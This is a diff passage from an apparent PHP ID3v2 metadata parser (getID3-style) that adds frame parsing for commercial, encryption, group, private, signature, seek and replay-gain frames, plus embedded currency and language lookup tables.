+			$parsedFrame['pricepaid']['value']      = substr($frame_pricepaid, 3);
+
+			$parsedFrame['purchasedate'] = substr($parsedFrame['data'], $frame_offset, 8);
+			if (!$this->IsValidDateStampString($parsedFrame['purchasedate'])) {
+				$parsedFrame['purchasedateunix'] = mktime (0, 0, 0, substr($parsedFrame['purchasedate'], 4, 2), substr($parsedFrame['purchasedate'], 6, 2), substr($parsedFrame['purchasedate'], 0, 4));
+			}
+			$frame_offset += 8;
+
+			$parsedFrame['seller'] = (string) substr($parsedFrame['data'], $frame_offset);
+			unset($parsedFrame['data']);
+
+
+		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'COMR')) { // 4.24  COMR Commercial frame (ID3v2.3+ only)
+			//   There may be more than one 'commercial frame' in a tag,
+			//   but no two may be identical
+			// <Header for 'Commercial frame', ID: 'COMR'>
+			// Text encoding      $xx
+			// Price string       <text string> $00
+			// Valid until        <text string>
+			// Contact URL        <text string> $00
+			// Received as        $xx
+			// Name of seller     <text string according to encoding> $00 (00)
+			// Description        <text string according to encoding> $00 (00)
+			// Picture MIME type  <string> $00
+			// Seller logo        <binary data>
+
+			$frame_offset = 0;
+			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
+				$info['warning'][] = 'Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding';
+			}
+
+			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
+			$frame_pricestring = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+			$frame_offset = $frame_terminatorpos + strlen("\x00");
+			$frame_rawpricearray = explode('/', $frame_pricestring);
+			foreach ($frame_rawpricearray as $key => $val) {
+				$frame_currencyid = substr($val, 0, 3);
+				$parsedFrame['price'][$frame_currencyid]['currency'] = $this->LookupCurrencyUnits($frame_currencyid);
+				$parsedFrame['price'][$frame_currencyid]['value']    = substr($val, 3);
+			}
+
+			$frame_datestring = substr($parsedFrame['data'], $frame_offset, 8);
+			$frame_offset += 8;
+
+			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
+			$frame_contacturl = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+			$frame_offset = $frame_terminatorpos + strlen("\x00");
+
+			$frame_receivedasid = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+
+			$frame_terminatorpos = strpos($parsedFrame['data'], $this->TextEncodingTerminatorLookup($frame_textencoding), $frame_offset);
+			if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($this->TextEncodingTerminatorLookup($frame_textencoding)), 1)) === 0) {
+				$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
+			}
+			$frame_sellername = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+			if (ord($frame_sellername) === 0) {
+				$frame_sellername = '';
+			}
+			$frame_offset = $frame_terminatorpos + strlen($this->TextEncodingTerminatorLookup($frame_textencoding));
+
+			$frame_terminatorpos = strpos($parsedFrame['data'], $this->TextEncodingTerminatorLookup($frame_textencoding), $frame_offset);
+			if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($this->TextEncodingTerminatorLookup($frame_textencoding)), 1)) === 0) {
+				$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
+			}
+			$frame_description = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+			if (ord($frame_description) === 0) {
+				$frame_description = '';
+			}
+			$frame_offset = $frame_terminatorpos + strlen($this->TextEncodingTerminatorLookup($frame_textencoding));
+
+			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
+			$frame_mimetype = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+			$frame_offset = $frame_terminatorpos + strlen("\x00");
+
+			$frame_sellerlogo = substr($parsedFrame['data'], $frame_offset);
+
+			$parsedFrame['encodingid']        = $frame_textencoding;
+			$parsedFrame['encoding']          = $this->TextEncodingNameLookup($frame_textencoding);
+
+			$parsedFrame['pricevaliduntil']   = $frame_datestring;
+			$parsedFrame['contacturl']        = $frame_contacturl;
+			$parsedFrame['receivedasid']      = $frame_receivedasid;
+			$parsedFrame['receivedas']        = $this->COMRReceivedAsLookup($frame_receivedasid);
+			$parsedFrame['sellername']        = $frame_sellername;
+			$parsedFrame['description']       = $frame_description;
+			$parsedFrame['mime']              = $frame_mimetype;
+			$parsedFrame['logo']              = $frame_sellerlogo;
+			unset($parsedFrame['data']);
+
+
+		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'ENCR')) { // 4.25  ENCR Encryption method registration (ID3v2.3+ only)
+			//   There may be several 'ENCR' frames in a tag,
+			//   but only one containing the same symbol
+			//   and only one containing the same owner identifier
+			// <Header for 'Encryption method registration', ID: 'ENCR'>
+			// Owner identifier    <text string> $00
+			// Method symbol       $xx
+			// Encryption data     <binary data>
+
+			$frame_offset = 0;
+			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
+			$frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+			if (ord($frame_ownerid) === 0) {
+				$frame_ownerid = '';
+			}
+			$frame_offset = $frame_terminatorpos + strlen("\x00");
+
+			$parsedFrame['ownerid']      = $frame_ownerid;
+			$parsedFrame['methodsymbol'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$parsedFrame['data']         = (string) substr($parsedFrame['data'], $frame_offset);
+
+
+		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'GRID')) { // 4.26  GRID Group identification registration (ID3v2.3+ only)
+
+			//   There may be several 'GRID' frames in a tag,
+			//   but only one containing the same symbol
+			//   and only one containing the same owner identifier
+			// <Header for 'Group ID registration', ID: 'GRID'>
+			// Owner identifier      <text string> $00
+			// Group symbol          $xx
+			// Group dependent data  <binary data>
+
+			$frame_offset = 0;
+			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
+			$frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+			if (ord($frame_ownerid) === 0) {
+				$frame_ownerid = '';
+			}
+			$frame_offset = $frame_terminatorpos + strlen("\x00");
+
+			$parsedFrame['ownerid']       = $frame_ownerid;
+			$parsedFrame['groupsymbol']   = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$parsedFrame['data']          = (string) substr($parsedFrame['data'], $frame_offset);
+
+
+		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'PRIV')) { // 4.27  PRIV Private frame (ID3v2.3+ only)
+			//   The tag may contain more than one 'PRIV' frame
+			//   but only with different contents
+			// <Header for 'Private frame', ID: 'PRIV'>
+			// Owner identifier      <text string> $00
+			// The private data      <binary data>
+
+			$frame_offset = 0;
+			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
+			$frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+			if (ord($frame_ownerid) === 0) {
+				$frame_ownerid = '';
+			}
+			$frame_offset = $frame_terminatorpos + strlen("\x00");
+
+			$parsedFrame['ownerid'] = $frame_ownerid;
+			$parsedFrame['data']    = (string) substr($parsedFrame['data'], $frame_offset);
+
+
+		} elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'SIGN')) { // 4.28  SIGN Signature frame (ID3v2.4+ only)
+			//   There may be more than one 'signature frame' in a tag,
+			//   but no two may be identical
+			// <Header for 'Signature frame', ID: 'SIGN'>
+			// Group symbol      $xx
+			// Signature         <binary data>
+
+			$frame_offset = 0;
+			$parsedFrame['groupsymbol'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$parsedFrame['data']        = (string) substr($parsedFrame['data'], $frame_offset);
+
+
+		} elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'SEEK')) { // 4.29  SEEK Seek frame (ID3v2.4+ only)
+			//   There may only be one 'seek frame' in a tag
+			// <Header for 'Seek frame', ID: 'SEEK'>
+			// Minimum offset to next tag       $xx xx xx xx
+
+			$frame_offset = 0;
+			$parsedFrame['data']          = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
+
+
+		} elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'ASPI')) { // 4.30  ASPI Audio seek point index (ID3v2.4+ only)
+			//   There may only be one 'audio seek point index' frame in a tag
+			// <Header for 'Seek Point Index', ID: 'ASPI'>
+			// Indexed data start (S)         $xx xx xx xx
+			// Indexed data length (L)        $xx xx xx xx
+			// Number of index points (N)     $xx xx
+			// Bits per index point (b)       $xx
+			//   Then for every index point the following data is included:
+			// Fraction at index (Fi)          $xx (xx)
+
+			$frame_offset = 0;
+			$parsedFrame['datastart'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
+			$frame_offset += 4;
+			$parsedFrame['indexeddatalength'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
+			$frame_offset += 4;
+			$parsedFrame['indexpoints'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
+			$frame_offset += 2;
+			$parsedFrame['bitsperpoint'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$frame_bytesperpoint = ceil($parsedFrame['bitsperpoint'] / 8);
+			for ($i = 0; $i < $parsedFrame['indexpoints']; $i++) {
+				$parsedFrame['indexes'][$i] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesperpoint));
+				$frame_offset += $frame_bytesperpoint;
+			}
+			unset($parsedFrame['data']);
+
+		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'RGAD')) { // Replay Gain Adjustment
+			// http://privatewww.essex.ac.uk/~djmrob/replaygain/file_format_id3v2.html
+			//   There may only be one 'RGAD' frame in a tag
+			// <Header for 'Replay Gain Adjustment', ID: 'RGAD'>
+			// Peak Amplitude                      $xx $xx $xx $xx
+			// Radio Replay Gain Adjustment        %aaabbbcd %dddddddd
+			// Audiophile Replay Gain Adjustment   %aaabbbcd %dddddddd
+			//   a - name code
+			//   b - originator code
+			//   c - sign bit
+			//   d - replay gain adjustment
+
+			$frame_offset = 0;
+			$parsedFrame['peakamplitude'] = getid3_lib::BigEndian2Float(substr($parsedFrame['data'], $frame_offset, 4));
+			$frame_offset += 4;
+			$rg_track_adjustment = getid3_lib::Dec2Bin(substr($parsedFrame['data'], $frame_offset, 2));
+			$frame_offset += 2;
+			$rg_album_adjustment = getid3_lib::Dec2Bin(substr($parsedFrame['data'], $frame_offset, 2));
+			$frame_offset += 2;
+			$parsedFrame['raw']['track']['name']       = getid3_lib::Bin2Dec(substr($rg_track_adjustment, 0, 3));
+			$parsedFrame['raw']['track']['originator'] = getid3_lib::Bin2Dec(substr($rg_track_adjustment, 3, 3));
+			$parsedFrame['raw']['track']['signbit']    = getid3_lib::Bin2Dec(substr($rg_track_adjustment, 6, 1));
+			$parsedFrame['raw']['track']['adjustment'] = getid3_lib::Bin2Dec(substr($rg_track_adjustment, 7, 9));
+			$parsedFrame['raw']['album']['name']       = getid3_lib::Bin2Dec(substr($rg_album_adjustment, 0, 3));
+			$parsedFrame['raw']['album']['originator'] = getid3_lib::Bin2Dec(substr($rg_album_adjustment, 3, 3));
+			$parsedFrame['raw']['album']['signbit']    = getid3_lib::Bin2Dec(substr($rg_album_adjustment, 6, 1));
+			$parsedFrame['raw']['album']['adjustment'] = getid3_lib::Bin2Dec(substr($rg_album_adjustment, 7, 9));
+			$parsedFrame['track']['name']       = getid3_lib::RGADnameLookup($parsedFrame['raw']['track']['name']);
+			$parsedFrame['track']['originator'] = getid3_lib::RGADoriginatorLookup($parsedFrame['raw']['track']['originator']);
+			$parsedFrame['track']['adjustment'] = getid3_lib::RGADadjustmentLookup($parsedFrame['raw']['track']['adjustment'], $parsedFrame['raw']['track']['signbit']);
+			$parsedFrame['album']['name']       = getid3_lib::RGADnameLookup($parsedFrame['raw']['album']['name']);
+			$parsedFrame['album']['originator'] = getid3_lib::RGADoriginatorLookup($parsedFrame['raw']['album']['originator']);
+			$parsedFrame['album']['adjustment'] = getid3_lib::RGADadjustmentLookup($parsedFrame['raw']['album']['adjustment'], $parsedFrame['raw']['album']['signbit']);
+
+			$info['replay_gain']['track']['peak']       = $parsedFrame['peakamplitude'];
+			$info['replay_gain']['track']['originator'] = $parsedFrame['track']['originator'];
+			$info['replay_gain']['track']['adjustment'] = $parsedFrame['track']['adjustment'];
+			$info['replay_gain']['album']['originator'] = $parsedFrame['album']['originator'];
+			$info['replay_gain']['album']['adjustment'] = $parsedFrame['album']['adjustment'];
+
+			unset($parsedFrame['data']);
+
+		}
+
+		return true;
+	}
+
+
+	public function DeUnsynchronise($data) {
+		return str_replace("\xFF\x00", "\xFF", $data);
+	}
+
+	public function LookupExtendedHeaderRestrictionsTagSizeLimits($index) {
+		static $LookupExtendedHeaderRestrictionsTagSizeLimits = array(
+			0x00 => 'No more than 128 frames and 1 MB total tag size',
+			0x01 => 'No more than 64 frames and 128 KB total tag size',
+			0x02 => 'No more than 32 frames and 40 KB total tag size',
+			0x03 => 'No more than 32 frames and 4 KB total tag size',
+		);
+		return (isset($LookupExtendedHeaderRestrictionsTagSizeLimits[$index]) ? $LookupExtendedHeaderRestrictionsTagSizeLimits[$index] : '');
+	}
+
+	public function LookupExtendedHeaderRestrictionsTextEncodings($index) {
+		static $LookupExtendedHeaderRestrictionsTextEncodings = array(
+			0x00 => 'No restrictions',
+			0x01 => 'Strings are only encoded with ISO-8859-1 or UTF-8',
+		);
+		return (isset($LookupExtendedHeaderRestrictionsTextEncodings[$index]) ? $LookupExtendedHeaderRestrictionsTextEncodings[$index] : '');
+	}
+
+	public function LookupExtendedHeaderRestrictionsTextFieldSize($index) {
+		static $LookupExtendedHeaderRestrictionsTextFieldSize = array(
+			0x00 => 'No restrictions',
+			0x01 => 'No string is longer than 1024 characters',
+			0x02 => 'No string is longer than 128 characters',
+			0x03 => 'No string is longer than 30 characters',
+		);
+		return (isset($LookupExtendedHeaderRestrictionsTextFieldSize[$index]) ? $LookupExtendedHeaderRestrictionsTextFieldSize[$index] : '');
+	}
+
+	public function LookupExtendedHeaderRestrictionsImageEncoding($index) {
+		static $LookupExtendedHeaderRestrictionsImageEncoding = array(
+			0x00 => 'No restrictions',
+			0x01 => 'Images are encoded only with PNG or JPEG',
+		);
+		return (isset($LookupExtendedHeaderRestrictionsImageEncoding[$index]) ? $LookupExtendedHeaderRestrictionsImageEncoding[$index] : '');
+	}
+
+	public function LookupExtendedHeaderRestrictionsImageSizeSize($index) {
+		static $LookupExtendedHeaderRestrictionsImageSizeSize = array(
+			0x00 => 'No restrictions',
+			0x01 => 'All images are 256x256 pixels or smaller',
+			0x02 => 'All images are 64x64 pixels or smaller',
+			0x03 => 'All images are exactly 64x64 pixels, unless required otherwise',
+		);
+		return (isset($LookupExtendedHeaderRestrictionsImageSizeSize[$index]) ? $LookupExtendedHeaderRestrictionsImageSizeSize[$index] : '');
+	}
+
+	public function LookupCurrencyUnits($currencyid) {
+
+		$begin = __LINE__;
+
+		/** This is not a comment!
+
+
+			AED	Dirhams
+			AFA	Afghanis
+			ALL	Leke
+			AMD	Drams
+			ANG	Guilders
+			AOA	Kwanza
+			ARS	Pesos
+			ATS	Schillings
+			AUD	Dollars
+			AWG	Guilders
+			AZM	Manats
+			BAM	Convertible Marka
+			BBD	Dollars
+			BDT	Taka
+			BEF	Francs
+			BGL	Leva
+			BHD	Dinars
+			BIF	Francs
+			BMD	Dollars
+			BND	Dollars
+			BOB	Bolivianos
+			BRL	Brazil Real
+			BSD	Dollars
+			BTN	Ngultrum
+			BWP	Pulas
+			BYR	Rubles
+			BZD	Dollars
+			CAD	Dollars
+			CDF	Congolese Francs
+			CHF	Francs
+			CLP	Pesos
+			CNY	Yuan Renminbi
+			COP	Pesos
+			CRC	Colones
+			CUP	Pesos
+			CVE	Escudos
+			CYP	Pounds
+			CZK	Koruny
+			DEM	Deutsche Marks
+			DJF	Francs
+			DKK	Kroner
+			DOP	Pesos
+			DZD	Algeria Dinars
+			EEK	Krooni
+			EGP	Pounds
+			ERN	Nakfa
+			ESP	Pesetas
+			ETB	Birr
+			EUR	Euro
+			FIM	Markkaa
+			FJD	Dollars
+			FKP	Pounds
+			FRF	Francs
+			GBP	Pounds
+			GEL	Lari
+			GGP	Pounds
+			GHC	Cedis
+			GIP	Pounds
+			GMD	Dalasi
+			GNF	Francs
+			GRD	Drachmae
+			GTQ	Quetzales
+			GYD	Dollars
+			HKD	Dollars
+			HNL	Lempiras
+			HRK	Kuna
+			HTG	Gourdes
+			HUF	Forints
+			IDR	Rupiahs
+			IEP	Pounds
+			ILS	New Shekels
+			IMP	Pounds
+			INR	Rupees
+			IQD	Dinars
+			IRR	Rials
+			ISK	Kronur
+			ITL	Lire
+			JEP	Pounds
+			JMD	Dollars
+			JOD	Dinars
+			JPY	Yen
+			KES	Shillings
+			KGS	Soms
+			KHR	Riels
+			KMF	Francs
+			KPW	Won
+			KWD	Dinars
+			KYD	Dollars
+			KZT	Tenge
+			LAK	Kips
+			LBP	Pounds
+			LKR	Rupees
+			LRD	Dollars
+			LSL	Maloti
+			LTL	Litai
+			LUF	Francs
+			LVL	Lati
+			LYD	Dinars
+			MAD	Dirhams
+			MDL	Lei
+			MGF	Malagasy Francs
+			MKD	Denars
+			MMK	Kyats
+			MNT	Tugriks
+			MOP	Patacas
+			MRO	Ouguiyas
+			MTL	Liri
+			MUR	Rupees
+			MVR	Rufiyaa
+			MWK	Kwachas
+			MXN	Pesos
+			MYR	Ringgits
+			MZM	Meticais
+			NAD	Dollars
+			NGN	Nairas
+			NIO	Gold Cordobas
+			NLG	Guilders
+			NOK	Krone
+			NPR	Nepal Rupees
+			NZD	Dollars
+			OMR	Rials
+			PAB	Balboa
+			PEN	Nuevos Soles
+			PGK	Kina
+			PHP	Pesos
+			PKR	Rupees
+			PLN	Zlotych
+			PTE	Escudos
+			PYG	Guarani
+			QAR	Rials
+			ROL	Lei
+			RUR	Rubles
+			RWF	Rwanda Francs
+			SAR	Riyals
+			SBD	Dollars
+			SCR	Rupees
+			SDD	Dinars
+			SEK	Kronor
+			SGD	Dollars
+			SHP	Pounds
+			SIT	Tolars
+			SKK	Koruny
+			SLL	Leones
+			SOS	Shillings
+			SPL	Luigini
+			SRG	Guilders
+			STD	Dobras
+			SVC	Colones
+			SYP	Pounds
+			SZL	Emalangeni
+			THB	Baht
+			TJR	Rubles
+			TMM	Manats
+			TND	Dinars
+			TOP	Pa'anga
+			TRL	Liras
+			TTD	Dollars
+			TVD	Tuvalu Dollars
+			TWD	New Dollars
+			TZS	Shillings
+			UAH	Hryvnia
+			UGX	Shillings
+			USD	Dollars
+			UYU	Pesos
+			UZS	Sums
+			VAL	Lire
+			VEB	Bolivares
+			VND	Dong
+			VUV	Vatu
+			WST	Tala
+			XAF	Francs
+			XAG	Ounces
+			XAU	Ounces
+			XCD	Dollars
+			XDR	Special Drawing Rights
+			XPD	Ounces
+			XPF	Francs
+			XPT	Ounces
+			YER	Rials
+			YUM	New Dinars
+			ZAR	Rand
+			ZMK	Kwacha
+			ZWD	Zimbabwe Dollars
+
+		*/
+
+		return getid3_lib::EmbeddedLookup($currencyid, $begin, __LINE__, __FILE__, 'id3v2-currency-units');
+	}
+
+
+	public function LookupCurrencyCountry($currencyid) {
+
+		$begin = __LINE__;
+
+		/** This is not a comment!
+
+			AED	United Arab Emirates
+			AFA	Afghanistan
+			ALL	Albania
+			AMD	Armenia
+			ANG	Netherlands Antilles
+			AOA	Angola
+			ARS	Argentina
+			ATS	Austria
+			AUD	Australia
+			AWG	Aruba
+			AZM	Azerbaijan
+			BAM	Bosnia and Herzegovina
+			BBD	Barbados
+			BDT	Bangladesh
+			BEF	Belgium
+			BGL	Bulgaria
+			BHD	Bahrain
+			BIF	Burundi
+			BMD	Bermuda
+			BND	Brunei Darussalam
+			BOB	Bolivia
+			BRL	Brazil
+			BSD	Bahamas
+			BTN	Bhutan
+			BWP	Botswana
+			BYR	Belarus
+			BZD	Belize
+			CAD	Canada
+			CDF	Congo/Kinshasa
+			CHF	Switzerland
+			CLP	Chile
+			CNY	China
+			COP	Colombia
+			CRC	Costa Rica
+			CUP	Cuba
+			CVE	Cape Verde
+			CYP	Cyprus
+			CZK	Czech Republic
+			DEM	Germany
+			DJF	Djibouti
+			DKK	Denmark
+			DOP	Dominican Republic
+			DZD	Algeria
+			EEK	Estonia
+			EGP	Egypt
+			ERN	Eritrea
+			ESP	Spain
+			ETB	Ethiopia
+			EUR	Euro Member Countries
+			FIM	Finland
+			FJD	Fiji
+			FKP	Falkland Islands (Malvinas)
+			FRF	France
+			GBP	United Kingdom
+			GEL	Georgia
+			GGP	Guernsey
+			GHC	Ghana
+			GIP	Gibraltar
+			GMD	Gambia
+			GNF	Guinea
+			GRD	Greece
+			GTQ	Guatemala
+			GYD	Guyana
+			HKD	Hong Kong
+			HNL	Honduras
+			HRK	Croatia
+			HTG	Haiti
+			HUF	Hungary
+			IDR	Indonesia
+			IEP	Ireland (Eire)
+			ILS	Israel
+			IMP	Isle of Man
+			INR	India
+			IQD	Iraq
+			IRR	Iran
+			ISK	Iceland
+			ITL	Italy
+			JEP	Jersey
+			JMD	Jamaica
+			JOD	Jordan
+			JPY	Japan
+			KES	Kenya
+			KGS	Kyrgyzstan
+			KHR	Cambodia
+			KMF	Comoros
+			KPW	Korea
+			KWD	Kuwait
+			KYD	Cayman Islands
+			KZT	Kazakstan
+			LAK	Laos
+			LBP	Lebanon
+			LKR	Sri Lanka
+			LRD	Liberia
+			LSL	Lesotho
+			LTL	Lithuania
+			LUF	Luxembourg
+			LVL	Latvia
+			LYD	Libya
+			MAD	Morocco
+			MDL	Moldova
+			MGF	Madagascar
+			MKD	Macedonia
+			MMK	Myanmar (Burma)
+			MNT	Mongolia
+			MOP	Macau
+			MRO	Mauritania
+			MTL	Malta
+			MUR	Mauritius
+			MVR	Maldives (Maldive Islands)
+			MWK	Malawi
+			MXN	Mexico
+			MYR	Malaysia
+			MZM	Mozambique
+			NAD	Namibia
+			NGN	Nigeria
+			NIO	Nicaragua
+			NLG	Netherlands (Holland)
+			NOK	Norway
+			NPR	Nepal
+			NZD	New Zealand
+			OMR	Oman
+			PAB	Panama
+			PEN	Peru
+			PGK	Papua New Guinea
+			PHP	Philippines
+			PKR	Pakistan
+			PLN	Poland
+			PTE	Portugal
+			PYG	Paraguay
+			QAR	Qatar
+			ROL	Romania
+			RUR	Russia
+			RWF	Rwanda
+			SAR	Saudi Arabia
+			SBD	Solomon Islands
+			SCR	Seychelles
+			SDD	Sudan
+			SEK	Sweden
+			SGD	Singapore
+			SHP	Saint Helena
+			SIT	Slovenia
+			SKK	Slovakia
+			SLL	Sierra Leone
+			SOS	Somalia
+			SPL	Seborga
+			SRG	Suriname
+			STD	São Tome and Principe
+			SVC	El Salvador
+			SYP	Syria
+			SZL	Swaziland
+			THB	Thailand
+			TJR	Tajikistan
+			TMM	Turkmenistan
+			TND	Tunisia
+			TOP	Tonga
+			TRL	Turkey
+			TTD	Trinidad and Tobago
+			TVD	Tuvalu
+			TWD	Taiwan
+			TZS	Tanzania
+			UAH	Ukraine
+			UGX	Uganda
+			USD	United States of America
+			UYU	Uruguay
+			UZS	Uzbekistan
+			VAL	Vatican City
+			VEB	Venezuela
+			VND	Viet Nam
+			VUV	Vanuatu
+			WST	Samoa
+			XAF	Communauté Financière Africaine
+			XAG	Silver
+			XAU	Gold
+			XCD	East Caribbean
+			XDR	International Monetary Fund
+			XPD	Palladium
+			XPF	Comptoirs Français du Pacifique
+			XPT	Platinum
+			YER	Yemen
+			YUM	Yugoslavia
+			ZAR	South Africa
+			ZMK	Zambia
+			ZWD	Zimbabwe
+
+		*/
+
+		return getid3_lib::EmbeddedLookup($currencyid, $begin, __LINE__, __FILE__, 'id3v2-currency-country');
+	}
+
+
+
+	public static function LanguageLookup($languagecode, $casesensitive=false) {
+
+		if (!$casesensitive) {
+			$languagecode = strtolower($languagecode);
+		}
+
+		// http://www.id3.org/id3v2.4.0-structure.txt
+		// [4.   ID3v2 frame overview]
+		// The three byte language field, present in several frames, is used to
+		// describe the language of the frame's content, according to ISO-639-2
+		// [ISO-639-2]. The language should be represented in lower case. If the
+		// language is not known the string "XXX" should be used.
+
+
+		// ISO 639-2 - http://www.id3.org/iso639-2.html
+
+		$begin = __LINE__;
+
+		/** This is not a comment!
+
+			XXX	unknown
+			xxx	unknown
+			aar	Afar
+			abk	Abkhazian
+			ace	Achinese
+			ach	Acoli
+			ada	Adangme
+			afa	Afro-Asiatic (Other)
+			afh	Afrihili
+			afr	Afrikaans
+			aka	Akan
+			akk	Akkadian
+			alb	Albanian
+			ale	Aleut
+			alg	Algonquian Languages
+			amh	Amharic
+			ang	English, Old (ca. 450-1100)
+			apa	Apache Languages
+			ara	Arabic
+			arc	Aramaic
+			arm	Armenian
+			arn	Araucanian
+			arp	Arapaho
+			art	Artificial (Other)
+			arw	Arawak
+			asm	Assamese
+			ath	Athapascan Languages
+			ava	Avaric
+			ave	Avestan
+			awa	Awadhi
+			aym	Aymara
+			aze	Azerbaijani
+			bad	Banda
+			bai	Bamileke Languages
+			bak	Bashkir
+			bal	Baluchi
+			bam	Bambara
+			ban	Balinese
+			baq	Basque
+			bas	Basa
+			bat	Baltic (Other)
+			bej	Beja
+			bel	Byelorussian
+			bem	Bemba
+			ben	Bengali
+			ber	Berber (Other)
+			bho	Bhojpuri
+			bih	Bihari
+			bik	Bikol
+			bin	Bini
+			bis	Bislama
+			bla	Siksika
+			bnt	Bantu (Other)
+			bod	Tibetan
+			bra	Braj
+			bre	Breton
+			bua	Buriat
+			bug	Buginese
+			bul	Bulgarian
+			bur	Burmese
+			cad	Caddo
+			cai	Central American Indian (Other)
+			car	Carib
+			cat	Catalan
+			cau	Caucasian (Other)
+			ceb	Cebuano
+			cel	Celtic (Other)
+			ces	Czech
+			cha	Chamorro
+			chb	Chibcha
+			che	Chechen
+			chg	Chagatai
+			chi	Chinese
+			chm	Mari
+			chn	Chinook jargon
+			cho	Choctaw
+			chr	Cherokee
+			chu	Church Slavic
+			chv	Chuvash
+			chy	Cheyenne
+			cop	Coptic
+			cor	Cornish
+			cos	Corsican
+			cpe	Creoles and Pidgins, English-based (Other)
+			cpf	Creoles and Pidgins, French-based (Other)
+			cpp	Creoles and Pidgins, Portuguese-based (Other)
+			cre	Cree
+			crp	Creoles and Pidgins (Other)
+			cus	Cushitic (Other)
+			cym	Welsh
+			cze	Czech
+			dak	Dakota
+			dan	Danish
+			del	Delaware
+			deu	German
+			din	Dinka
+			div	Divehi
+			doi	Dogri
+			dra	Dravidian (Other)
+			dua	Duala
+			dum	Dutch, Middle (ca. 1050-1350)
+			dut	Dutch
+			dyu	Dyula
+			dzo	Dzongkha
+			efi	Efik
+			egy	Egyptian (Ancient)
+			eka	Ekajuk
+			ell	Greek, Modern (1453-)
+			elx	Elamite
+			eng	English
+			enm	English, Middle (ca. 1100-1500)
+			epo	Esperanto
+			esk	Eskimo (Other)
+			esl	Spanish
+			est	Estonian
+			eus	Basque
+			ewe	Ewe
+			ewo	Ewondo
+			fan	Fang
+			fao	Faroese
+			fas	Persian
+			fat	Fanti
+			fij	Fijian
+			fin	Finnish
+			fiu	Finno-Ugrian (Other)
+			fon	Fon
+			fra	French
+			fre	French
+			frm	French, Middle (ca. 1400-1600)
+			fro	French, Old (842- ca. 1400)
+			fry	Frisian
+			ful	Fulah
+			gaa	Ga
+			gae	Gaelic (Scots)
+			gai	Irish
+			gay	Gayo
+			gdh	Gaelic (Scots)
+			gem	Germanic (Other)
+			geo	Georgian
+			ger	German
+			gez	Geez
+			gil	Gilbertese
+			glg	Gallegan
+			gmh	German, Middle High (ca. 1050-1500)
+			goh	German, Old High (ca. 750-1050)
+			gon	Gondi
+			got	Gothic
+			grb	Grebo
+			grc	Greek, Ancient (to 1453)
+			gre	Greek, Modern (1453-)
+			grn	Guarani
+			guj	Gujarati
+			hai	Haida
+			hau	Hausa
+			haw	Hawaiian
+			heb	Hebrew
+			her	Herero
+			hil	Hiligaynon
+			him	Himachali
+			hin	Hindi
+			hmo	Hiri Motu
+			hun	Hungarian
+			hup	Hupa
+			hye	Armenian
+			iba	Iban
+			ibo	Igbo
+			ice	Icelandic
+			ijo	Ijo
+			iku	Inuktitut
+			ilo	Iloko
+			ina	Interlingua (International Auxiliary language Association)
+			inc	Indic (Other)
+			ind	Indonesian
+			ine	Indo-European (Other)
+			ine	Interlingue
+			ipk	Inupiak
+			ira	Iranian (Other)
+			iri	Irish
+			iro	Iroquoian uages
+			isl	Icelandic
+			ita	Italian
+			jav	Javanese
+			jaw	Javanese
+			jpn	Japanese
+			jpr	Judeo-Persian
+			jrb	Judeo-Arabic
+			kaa	Kara-Kalpak
+			kab	Kabyle
+			kac	Kachin
+			kal	Greenlandic
+			kam	Kamba
+			kan	Kannada
+			kar	Karen
+			kas	Kashmiri
+			kat	Georgian
+			kau	Kanuri
+			kaw	Kawi
+			kaz	Kazakh
+			kha	Khasi
+			khi	Khoisan (Other)
+			khm	Khmer
+			kho	Khotanese
+			kik	Kikuyu
+			kin	Kinyarwanda
+			kir	Kirghiz
+			kok	Konkani
+			kom	Komi
+			kon	Kongo
+			kor	Korean
+			kpe	Kpelle
+			kro	Kru
+			kru	Kurukh
